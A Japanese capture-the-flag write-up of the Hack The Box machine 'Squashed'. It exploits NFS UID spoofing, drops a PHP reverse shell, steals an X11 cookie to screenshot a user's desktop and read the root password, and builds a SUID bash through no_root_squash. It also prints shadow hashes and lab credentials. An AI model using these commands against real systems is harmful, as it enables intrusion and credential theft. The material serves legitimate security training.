はじめに
この記事は、Hack The Boxの「Squashed」を攻略した際の手順をまとめたものです。
ポートスキャン
まず、rustscanを使用してポートスキャンを実行し、開いているポートとサービスを特定します。
$ rustscan -a 10.129.228.109 -- -sC -sV -oN report_squashed
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
2049/tcp open nfs syn-ack ttl 63 3-4 (RPC #100003)
NFS (Network File System) がポート 2049 で動作しています
NFSについて
NFSはLinuxのファイルシステム共有の仕組みです。
NFSの攻撃方法についてhacktricksに詳しく解説があり参考になりました。
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Authentication commonly relies on UNIX
UID/GIDidentifiers and group memberships. However, a challenge arises due to the potential mismatch inUID/GIDmappings between clients and servers, leaving no room for additional verification by the server. Moreover, these details are sent by the client and trusted by the server, so a rogue client could potentially **impersonate another user sending more privilegeduidandgids.
- DeepL翻訳
認証は一般的にUNIX UID/GID識別子とグループメンバーシップに依存します。しかし、クライアントとサーバー間でUID/GIDマッピングの不一致が生じる可能性があり、サーバーによる追加検証の余地がないため課題が生じます。さらに、これらの情報はクライアントから送信されサーバーが信頼するため、悪意のあるクライアントが他のユーザーを装い、より特権的なuidやgidを送信する可能性があります
UID/GIDを偽装して共有ディレクトリへのアクセスする攻撃方法が取れそうです。
NFS調査
共有ディレクトリについて調査します。
showmount コマンドでNFSの共有ディレクトリを確認します。
$ showmount -e 10.129.228.109
Export list for 10.129.228.109:
/home/ross *
/var/www/html
/home/ross と /var/www/html が共有されています。
nmap のスクリプトを使い、各共有ディレクトリのパーミッションや内容を調査してみます。
$ nmap 10.129.228.109 --script nfs-ls
| nfs-ls: Volume /home/ross
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 1001 1001 4096 2025-10-23T23:10:52 .
...
|
| Volume /var/www/html
| access: Read NoLookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-- 2017 33 4096 2025-10-23T23:35:02 .
...
/home/rossの所有者UIDが1001
/var/www/html の所有者UIDが 2017 であることがわかります。
NFSの脆弱性スキャンとユーザ権限昇格
hacktricksで触れられていたnfs_analyze を使用して、NFSの設定不備を調査します。
githubのRedmeに記載してあったno-root-squashオプションをつけて試してみます。
$ nfs_analyze --check-no-root-squash 10.129.228.109
...
Content of /etc/shadow:
root:$6$1TX.sWDSDhS8.Q06$Z5Pa/jIUf69vcVPia3OK0BiOVuHhTRM2VH0Aye/QU9jizZkgiwWnhzAyL/jgxCSFL3aWZ0S92QWb.16UYGvLj.:19284:0:99999:7:::
...
ross:$6$8ELNcXFldRYlf.Aq$omDa1Wmazh5H0dhFunS4qNos/dc6Aig8B8yx3eP.FFehoeK34fmMvmfdoZYWIUfJefXmuD9/4BfozeS3Xn1jx/:19286:0:99999:7:::
...
Checking no_root_squash
Export no_root_squash
/home/ross READONLY (no_root_squash status unknown)
/var/www/html DISABLED
...
驚いたことにスキャンにより、/etc/shadow の内容が読み取れました!
no-root-squashの意味については下記の記事で調べる事ができました。
https://www.hvs-consulting.de/en/blog/nfs-security-identifying-and-exploiting-misconfigurations
no-root-squashが有効な場合、NFSクライアント側のrootユーザとして共有フォルダにもroot
権限でアクセスできてしまい権限昇格の危険性があるようです。
Checking no_root_squashの結果より、no-root-squashは無効のようにみえます。
この設定だと、クライアント側のUIDがそのままサーバー側のUIDにマッピングされると思われるので試してみます。
共有フォルダのマウント
/var/www/htmlは、所有者のUIDが 2017 でした。ローカルでUID 2017 を持つユーザーを作成し、NFSマウントを介して書き込み権限を取得してみます。
- NFSマウント
# マウントポイント作成
$ sudo mkdir /mnt/html
# /var/www/htmlをマウント
$ sudo mount -t nfs -o vers=4 10.129.228.109:/var/www/html /mnt/html
- UID偽装
# ローカルに新しいユーザを作成しUIDを2017にする
$ sudo useradd html
$ sudo usermod -u 2017 html
$ sudo groupmod -g 2017 html
# 対象のユーザに切り替え
$ sudo su html
- フォルダ権限確認
$ ls -al /mnt
...
drwxr-xr-- 5 html www-data 4096 Nov 10 07:55 html
$ ls /mnt/html
css images index.html js
$ touch /mnt/html/test
$ ls /mnt/html
css images index.html js test
リバースシェルの取得
書き込み権限を利用して、リバースシェルを実施します。
リバースシェルの配置
PHPリバースシェルを配置します。
リバースシェルはpentestmonkeyのものをDLして利用しました。
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
(49行目,50行目のIPアドレスとポートは攻撃マシンのものに置き換えてください)
-
mnt/htmlに配置します。
$ cp reverse.php /mnt/html
シェル奪取
- リスナーを起動
$nc -lnvp 4444
listening on [any] 4444 ...
-
http://10.129.228.109/reverse.phpにアクセスすることで、alexユーザーとしてシェルを取得しました。
$ id uid=2017(alex) gid=2017(alex) groups=2017(alex)
-
/home/alexの下にuser.flgがあります。
root権限昇格
攻撃マシンから/home/rossの方もマウントして探索してみます。
- rossのホームディレクトリをマウント
$ sudo mkdir /mnt/ross
$ sudo mount -t nfs -o vers=4 10.10.11.191:/home/ross /mnt/ross
- UID偽装
# ローカルにrossユーザを作成しUIDを1001にする
$ sudo useradd ross
$ sudo usermod -u 1001 ross
$ sudo groupmod -g 1001 ross
# 対象のユーザに切り替え
$ sudo su html
.Xauthorityの悪用
ross のホームディレクトリをマウントして探索すると、.Xauthority ファイルが見つかります。これはX Window Systemの認証情報を含んでいます。
$ ls -al /mnt/ross
<SNI>
-rw------- 1 ross ross 57 Nov 9 02:20 .Xauthority
...
.Xauthorityの窃取
$ strings /mnt/ross/.Xauthority
squashed.htb
MIT-MAGIC-COOKIE-1
$ cat /mnt/ross/.Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAU/4pK5+Z/sQ/nxe6Luq3g
rossユーザーのdisplay番号が:0であることがわかります。
alex@squashed:/tmp$ w
03:23:52 up 1 day, 10:04, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 Sat17 34:04m 1:43 0.01s /usr/libexec/gnome-session-binary --systemd --session=gnome
Xauthorityの適用とスクリーンショット取得
alex ユーザーのシェルで、窃取したcookieを使って ross のデスクトップのスクリーンショットを撮ります。
# 取得したcookieをファイルに書き込む
alex@squashed:~$ echo "AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAU/4pK5+Z/sQ/nxe6Luq3g" | base64 -d > /tmp/.Xauthority
# 環境変数を設定
alex@squashed:~$ export XAUTHORITY=/tmp/.Xauthority
# スクリーンショットを取得
alex@squashed:~$ xwd -root -screen -silent -display :0 > /tmp/screen.xwd
root権限昇格
取得したスクリーンショットをローカルに転送し、画像に変換します。
ターゲットマシンでhttpサーバを起動
alex@squashed:/tmp$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
# ファイルをローカルにダウンロード
$ curl -O http://10.129.228.109:8888/screen.xwd
# xwdファイルをpngに変換
$ convert screen.xwd screen.png
変換した画像を確認すると、rootユーザーのパスワードがメモされています。

root:cah$mei7rai9A
この認証情報を使って su コマンドを実行します。
alex@squashed:/tmp$ su
Password:
root@squashed:~# id
uid=0(root) gid=0(root) groups=0(root)
おわりに
無事rootに昇格することができました。
NFSの設定不備の調査から始まり、X Window Systemの認証情報を悪用してスクリーンショットを取得しパスワードを奪取するという興味深いシナリオでした。
おまけ:no_root_squashを設定してみる
ターゲットマシンのルートユーザで/etc/exportsを編集して
no_root_squashを有効にしてみる。
# cat /etc/exports
/home/ross *(sync,no_root_squash)
/var/www/html *(rw,sync,no_root_squash)
設定を再読み込み
sudo exportfs -ra
/var/www/htmlをマウントし直す
sudo mount -t nfs -o vers=4 10.10.11.191:/var/www/html /mnt/html/
ターゲットマシンで/bin/bashをコピー
alex@squashed:/var/www/html$ cp /bin/bash .
攻撃マシンでSUID付きのbash作成
# mv ./bash sbash
# ls
css images index.html js sbash
# chown root:root sbash && chmod +s sbash
これをalexユーザーで呼び出せばroot権限のシェルになりました
alex@squashed:/var/www/html$ ./sbash -p
sbash-5.0# id
uid=2017(alex) gid=2017(alex) euid=0(root) egid=0(root) groups=0(root),2017(alex)
